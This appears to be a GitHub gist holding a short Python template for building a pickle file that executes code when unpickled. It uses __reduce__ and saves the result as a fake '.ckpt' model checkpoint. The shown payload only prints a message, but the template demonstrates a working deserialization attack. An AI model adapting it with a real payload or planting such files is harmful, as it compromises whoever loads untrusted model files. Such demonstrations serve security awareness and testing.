Created
March 13, 2023 20:42
-
-
Save CodeZombie/27baa20710d976f45fb93928cbcfe368 to your computer and use it in GitHub Desktop.
Malicious pickle creation template
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
PAYLOAD_MESSAGE = "You just got owned by Arbitrary Code Execution inside a Pickle file." | |
#A class that when unpickled, will execute the code embedded in the __reduce__ method's return value | |
class PickleACE(object): | |
def __reduce__(self): | |
return (print,(PAYLOAD_MESSAGE,)) | |
# Save the pickle data to a file | |
with open('malicious_pickle.ckpt', 'wb') as file_handle: | |
pickle.dump(PickleACE(), file_handle, protocol=pickle.HIGHEST_PROTOCOL) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment